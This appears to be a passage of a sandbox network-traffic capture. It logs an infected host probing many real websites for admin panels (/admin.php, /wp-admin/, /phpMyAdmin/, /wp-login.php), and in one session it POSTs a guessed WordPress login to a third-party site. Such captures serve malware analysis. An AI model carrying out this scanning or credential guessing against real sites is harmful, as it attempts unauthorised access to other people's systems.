72 65 20 74 6f 20 6f 66 66 65 72 20 33 30 20 79 65 61 72 73 20 6f 66 20 Data Ascii: ><meta name="twitter:title" content="Roofing In Wollongong \| Geoff Reynolds Roofing Pty Ltd"/><meta name="twitter:description" content="If your home needs roofing services, click the link above! Geoff Reynolds Roofing Pty Ltd is here to offer 30 years of
2023-12-20 02:13:32 UTC	1368	IN	Data Raw: 69 3d 5b 5d 3b 66 3c 6e 2e 6c 65 6e 67 74 68 3b 66 2b 2b 29 74 3d 6e 5b 66 5d 2c 70 5b 74 5d 26 26 69 2e 70 75 73 68 28 70 5b 74 5d 5b 30 5d 29 2c 70 5b 74 5d 3d 30 3b 66 6f 72 28 72 20 69 6e 20 6f 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6f 2c 72 29 26 26 28 6c 5b 72 5d 3d 6f 5b 72 5d 29 3b 66 6f 72 28 73 26 26 73 28 65 29 3b 69 2e 6c 65 6e 67 74 68 3b 29 69 2e 73 68 69 66 74 28 29 28 29 3b 72 65 74 75 72 6e 20 63 2e 70 75 73 68 2e 61 70 70 6c 79 28 63 2c 75 7c 7c 5b 5d 29 2c 61 28 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 66 6f 72 28 76 61 72 20 65 2c 72 3d 30 3b 72 3c 63 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 7b 66 6f 72 28 76 61 72 20 74 3d 63 5b 72 5d 2c 6e 3d 21 30 2c 6f 3d 31 Data Ascii: i=[];f<n.length;f++)t=n[f],p[t]&&i.push(p[t][0]),p[t]=0;for(r in o)Object.prototype.hasOwnProperty.call(o,r)&&(l[r]=o[r]);for(s&&s(e);i.length;)i.shift()();return c.push.apply(c,u\|\|[]),a()}function a(){for(var e,r=0;r<c.length;r++){for(var t=c[r],n=!0,o=1
2023-12-20 02:13:32 UTC	151	IN	Data Raw: 3b 76 61 72 20 73 3d 6e 3b 61 28 29 7d 28 5b 5d 29 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 32 2e 38 34 32 37 38 31 38 37 2e 63 68 75 6e 6b 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 6d 61 69 6e 2e 33 33 39 30 30 31 39 32 2e 63 68 75 6e 6b 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: ;var s=n;a()}([])</script><script src="/static/js/2.84278187.chunk.js"></script><script src="/static/js/main.33900192.chunk.js"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
253	192.168.2.4	62022	3.33.130.190	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:32 UTC	330	OUT	GET /admin.php HTTP/1.1 Host: lsmnutrition.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:32 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:32 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_QMlsbPFtNX0GB1KfcPEPDpmjIMKBeZJYXkWZ9tByw5zHrM+FFJ6HybsjKoZRUAIDXK13+nGSpysNj1vadSUFQA Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:32 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
254	192.168.2.4	62032	199.60.103.25	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:32 UTC	468	OUT	GET /wp-admin/ HTTP/1.1 Host: greenlawnfertilizing.com Accept: / Accept-Encoding: deflate, gzip Cookie: __cfruid=f9e567529add4aaa59de3ceb83771d70dc477fae-1703038407; __cf_bm=Dywd.0936Vq29pVbp8I8Fu3OEx.bsTU3cxXxEZXep7s-1703038407-1-AQTPK5aeDnWMjcosgjCzVJxsDmmFTKPENnUu2yFp/oaAg8Z+WzrJwZMe7OlyJCgLCCTKAony8PUtg91LiLeworY= User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.greenlawnfertilizing.com/wp-login.php
2023-12-20 02:13:32 UTC	753	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:32 GMT Content-Length: 0 Connection: close Location: https://www.greenlawnfertilizing.com/wp-admin/ Cache-Control: s-maxage=3600,max-age=120 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: upgrade-insecure-requests X-Hs-Https-Only: worker Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=iVEsMwQKhl%2Fj%2FgGdkcf9MjvYAWZGPuFaUxujlWW2fPcYrW6DxvGlelJJRdrGzTaZtvDQ6M4tewl8U%2Fphdvg4Uxgl31XmrwxxdYO0HRfk9jbS9d9awdptuDtl6GWR468bSYwXhGoDSV7oqQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845ddf5c494c20-MIA alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port
255	192.168.2.4	62020	108.163.227.170	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:32 UTC	352	OUT	POST /wp-login.php HTTP/1.1 Host: activegraphics.com Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP%20Cookie%20check User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://activegraphics.com/wp-login.php Content-Length: 137 Content-Type: application/x-www-form-urlencoded
2023-12-20 02:13:32 UTC	137	OUT	Data Raw: 6c 6f 67 3d 6a 68 61 79 65 73 26 70 77 64 3d 70 61 73 73 31 32 33 34 25 32 36 25 32 36 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 4c 6f 67 2b 49 6e 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 61 63 74 69 76 65 67 72 61 70 68 69 63 73 2e 63 6f 6d 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=jhayes&pwd=pass1234%26%26&rememberme=forever&wp-submit=Log+In&redirect_to=https%3A%2F%2Factivegraphics.com%2Fwp-admin%2F&testcookie=1
2023-12-20 02:13:32 UTC	352	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:32 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Frame-Options: SAMEORIGIN Set-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; secure Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-12-20 02:13:32 UTC	5702	IN	Data Raw: 31 36 33 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 41 63 74 69 76 65 20 47 72 61 70 68 69 63 73 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 2c 20 6e 6f 69 6e 64 65 78 2c 20 6e 6f 61 Data Ascii: 1639<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; Active Graphics — WordPress</title><meta name='robots' content='max-image-preview:large, noindex, noa

Session ID	Source IP	Source Port	Destination IP	Destination Port
256	192.168.2.4	62026	3.33.130.190	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:32 UTC	330	OUT	GET /admin.php HTTP/1.1 Host: mobiamericas.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:32 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:32 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_grHZcut9cQJ+nxt8S9rhvDYW7O74moQ5NL+6ANE0FuT25Z9LD84PDaJWXAAJpjdDtki4FQn5Vb2XoqXWueFJOA Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:32 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
257	192.168.2.4	62074	151.101.1.195	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:32 UTC	185	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: www.geoffreynolds.com.au Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:32 UTC	580	IN	HTTP/1.1 200 OK Connection: close Content-Length: 4255 Cache-Control: max-age=3600 Content-Type: text/html; charset=utf-8 Etag: "027467ef33eb399e27a7057bb7d67c7bbc85ff76417b95760add2070d4049357" Last-Modified: Wed, 08 Feb 2023 04:48:40 GMT Strict-Transport-Security: max-age=31556926 Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:32 GMT X-Served-By: cache-pdk-kfty2130088-PDK X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1703038413.697556,VS0,VE64 Vary: x-fh-requested-host, accept-encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2023-12-20 02:13:32 UTC	1368	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 74 69 74 6c 65 3e 52 6f 6f 66 69 6e 67 20 49 6e 20 57 6f 6c 6c 6f 6e 67 6f 6e 67 20 7c 20 47 65 6f 66 66 20 52 65 79 6e 6f 6c 64 73 20 52 6f 6f 66 69 6e 67 20 50 74 79 20 4c 74 64 3c 2f 74 Data Ascii: <!doctype html><html lang="en"><head><meta charset="utf-8"/><link rel="shortcut icon" href="/favicon.ico"/><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1"/><title>Roofing In Wollongong \| Geoff Reynolds Roofing Pty Ltd</t
2023-12-20 02:13:32 UTC	1368	IN	Data Raw: 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 6f 6f 66 69 6e 67 20 49 6e 20 57 6f 6c 6c 6f 6e 67 6f 6e 67 20 7c 20 47 65 6f 66 66 20 52 65 79 6e 6f 6c 64 73 20 52 6f 6f 66 69 6e 67 20 50 74 79 20 4c 74 64 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 49 66 20 79 6f 75 72 20 68 6f 6d 65 20 6e 65 65 64 73 20 72 6f 6f 66 69 6e 67 20 73 65 72 76 69 63 65 73 2c 20 63 6c 69 63 6b 20 74 68 65 20 6c 69 6e 6b 20 61 62 6f 76 65 21 20 47 65 6f 66 66 20 52 65 79 6e 6f 6c 64 73 20 52 6f 6f 66 69 6e 67 20 50 74 79 20 4c 74 64 20 69 73 20 68 65 72 65 20 74 6f 20 6f 66 66 65 72 20 33 30 20 79 65 61 72 73 20 6f 66 20 Data Ascii: ><meta name="twitter:title" content="Roofing In Wollongong \| Geoff Reynolds Roofing Pty Ltd"/><meta name="twitter:description" content="If your home needs roofing services, click the link above! Geoff Reynolds Roofing Pty Ltd is here to offer 30 years of
2023-12-20 02:13:32 UTC	1368	IN	Data Raw: 69 3d 5b 5d 3b 66 3c 6e 2e 6c 65 6e 67 74 68 3b 66 2b 2b 29 74 3d 6e 5b 66 5d 2c 70 5b 74 5d 26 26 69 2e 70 75 73 68 28 70 5b 74 5d 5b 30 5d 29 2c 70 5b 74 5d 3d 30 3b 66 6f 72 28 72 20 69 6e 20 6f 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6f 2c 72 29 26 26 28 6c 5b 72 5d 3d 6f 5b 72 5d 29 3b 66 6f 72 28 73 26 26 73 28 65 29 3b 69 2e 6c 65 6e 67 74 68 3b 29 69 2e 73 68 69 66 74 28 29 28 29 3b 72 65 74 75 72 6e 20 63 2e 70 75 73 68 2e 61 70 70 6c 79 28 63 2c 75 7c 7c 5b 5d 29 2c 61 28 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 66 6f 72 28 76 61 72 20 65 2c 72 3d 30 3b 72 3c 63 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 7b 66 6f 72 28 76 61 72 20 74 3d 63 5b 72 5d 2c 6e 3d 21 30 2c 6f 3d 31 Data Ascii: i=[];f<n.length;f++)t=n[f],p[t]&&i.push(p[t][0]),p[t]=0;for(r in o)Object.prototype.hasOwnProperty.call(o,r)&&(l[r]=o[r]);for(s&&s(e);i.length;)i.shift()();return c.push.apply(c,u\|\|[]),a()}function a(){for(var e,r=0;r<c.length;r++){for(var t=c[r],n=!0,o=1
2023-12-20 02:13:32 UTC	151	IN	Data Raw: 3b 76 61 72 20 73 3d 6e 3b 61 28 29 7d 28 5b 5d 29 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 32 2e 38 34 32 37 38 31 38 37 2e 63 68 75 6e 6b 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 6d 61 69 6e 2e 33 33 39 30 30 31 39 32 2e 63 68 75 6e 6b 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: ;var s=n;a()}([])</script><script src="/static/js/2.84278187.chunk.js"></script><script src="/static/js/main.33900192.chunk.js"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
258	192.168.2.4	62027	3.33.130.190	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:32 UTC	323	OUT	GET /admin.php HTTP/1.1 Host: ornos.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:32 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:32 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_fjMZy8kJQky/ito79hxXafQcwVAyHoxKtQdwXNLsmYpfqme1j7+sHrvJ10myKNcAl6TBnhamRK+zv2Atcx5c2g Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:32 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
259	192.168.2.4	62086	15.197.192.55	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:32 UTC	386	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: wethepros.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=dynadot.ExpiredParking.9CC26559-5E11-4B25-8CC2-E5B51E33A42F; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:32 UTC	893	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:32 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:48 GMT Connection: close ETag: "657a13c4-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_T6RMyr3CGTM6IAJLqkAfG7tI6tI4p9KN25NZ7+Hor866EMAvWy6TtcgCfGPy6FqcKGzLT9DwEMTZLMCn8LIIEg Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=dynadot.ExpiredParking.9CC26559-5E11-4B25-8CC2-E5B51E33A42F;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:32 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
260	192.168.2.4	62084	192.252.146.15	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:32 UTC	180	OUT	GET /wp-login.php HTTP/1.1 Host: twohillsstudio.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:33 UTC	374	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:32 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Frame-Options: SAMEORIGIN Set-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; secure Upgrade: h2 Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-12-20 02:13:33 UTC	7818	IN	Data Raw: 31 66 30 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 54 77 6f 20 48 69 6c 6c 73 20 53 74 75 64 69 6f 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69 6f 6e 20 74 68 65 43 68 61 6d 70 4c 6f 61 64 45 76 65 6e 74 28 65 29 7b 76 61 72 Data Ascii: 1f0d<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; Two Hills Studio — WordPress</title><script type="text/javascript">function theChampLoadEvent(e){var
